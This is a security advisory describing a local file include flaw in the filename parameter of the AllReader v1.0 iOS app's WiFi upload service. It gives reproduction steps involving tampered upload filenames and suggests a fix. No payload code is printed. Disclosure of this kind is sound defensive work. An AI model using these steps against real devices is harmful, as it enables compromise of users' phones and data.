Discovery Status:

Published

Affected Product(s):

Wylsacom Waytt
Product: AllReader - iOS Mobile Application 1.0

Exploitation Technique:

Local

Severity Level:

High

Technical Details & Description:

A local file include web vulnerability has been discovered in the official AllReader v1.0 iOS mobile application by Wylsacom Waytt.
The local file include web vulnerability allows remote attackers to unauthorized include local file/path requests or system specific
path commands to compromise the mobile web-application.

The web vulnerability is located in the `filename` value of the `file upload` module. Remote attackers are able to inject own files with
malicious `filename` values in the `file upload` POST method request to compromise the mobile web-application. The local file/path
execution occcurs in the index file/path dir list context. The attacker is able to inject the malicious file/path include request by usage
of the available `wifi interface`.

Remote attackers are also able to exploit the filename validation issue in combination with persistent injected script codes to execute
different local malicious attacks requests. The attack vector is on the application-side of the allreader wifi service and the request
method to inject is POST.

The security risk of the local file include web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count
of 6.8. Exploitation of the local file include web vulnerability requires no privileged web-application user account withoutuser interaction.
Successful exploitation of the local file include web vulnerability results in mobile application or connected device component compromise.

Request Method(s):
[+] [POST]

Vulnerable Service(s):
[+] WiFi Transfer UI

Vulnerable Module(s):
[+] Upload File

Vulnerable Parameter(s):
[+] filename

Affected Module(s):
[+] Index File/Folder Dir Listing (http://localhost:8080/)

Proof of Concept (PoC):

The local file/path include web vulnerability in the web-server can be exploited by local attackers without auth or user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the security vulnerability …

  1. Install the ios application (iphone or ipad)
  2. Start it and move to the settings menu, activate the wifi server
  3. Go to another computer in the same network and surf to the local web-server url (localhost:8080)
  4. Upload a random image
  5. Tamper the session information by an intercept, exchange the vulnerable `filename` value with own malicious file or path request
    Note: Payloads can be combined with script code to successful execute different other attacks like hijacking, phishing and co.
  6. Submit the settings and refresh the file dir index list
  7. The code execution occurs in the file dir index list of ios app
  8. Successful reproduce of the local fil/path include web vulnerability

Solution - Fix & Patch:

The vulnerability can be patched by a secure parse and encode of the vulnerale filename value in the upload module POST method request.
The file dir index list needs to encode malicious filenames even of the input is already parsed to prevent further attacks via file/path value.
Restrict, filter or use a secure exception-handling to disallow special chars, html tags or script codes.

Security Risk:

The security risk of the local file/path include web vulnerability is estimated as high(-).
